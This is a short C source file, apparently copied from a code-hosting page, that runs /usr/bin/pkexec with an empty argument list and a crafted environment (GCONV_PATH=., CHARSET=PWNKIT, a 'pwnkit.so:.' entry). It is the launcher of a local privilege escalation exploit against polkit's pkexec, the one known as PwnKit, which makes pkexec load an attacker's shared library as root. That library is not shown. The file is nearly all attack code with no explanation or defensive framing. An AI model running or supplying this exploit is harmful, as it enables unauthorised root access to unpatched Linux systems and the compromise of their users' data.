17 lines
274 B
C
17 lines
274 B
C
|
#include <unistd.h>
|
||
|
|
||
|
int main(int argc, char **argv)
|
||
|
{
|
||
|
char * const args[] = {
|
||
|
NULL
|
||
|
};
|
||
|
char * const environ[] = {
|
||
|
"pwnkit.so:.",
|
||
|
"PATH=GCONV_PATH=.",
|
||
|
"SHELL=/lol/i/do/not/exists",
|
||
|
"CHARSET=PWNKIT",
|
||
|
NULL
|
||
|
};
|
||
|
return execve("/usr/bin/pkexec", args, environ);
|
||
|
}
|